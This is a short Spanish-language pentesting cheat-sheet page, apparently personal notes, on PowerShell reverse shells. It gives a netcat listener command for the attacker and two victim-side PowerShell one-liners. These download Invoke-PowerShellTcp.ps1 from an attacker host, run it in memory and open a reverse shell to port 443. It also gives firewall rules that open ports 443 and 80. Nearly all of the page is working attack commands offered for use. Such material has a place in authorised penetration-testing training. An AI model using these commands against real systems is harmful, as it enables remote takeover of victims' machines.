Misc

Ejecutar scripts de powershell en kali

Reverse shell

Desde la máquina atacante:

C:\AD\Tools\netcat\nc64.exe -lvp 443

Desde la máquina víctima:

powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1'));Power -Reverse -IPAddress 192.168.1.100 -Port 443

powershell.exe iex (iwr http://192.168.1.100/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 192.168.1.100 -Port 443

Agregar excepción en el firewall

Inbound

Command line:

New-NetFirewallRule -DisplayName "Allow Port 443 Inbound" `
    -Direction Inbound `
    -LocalPort 443 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
New-NetFirewallRule -DisplayName "Allow Port 80 Inbound" `
    -Direction Inbound `
    -LocalPort 80 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any

GUI:

Última actualización

¿Te fue útil?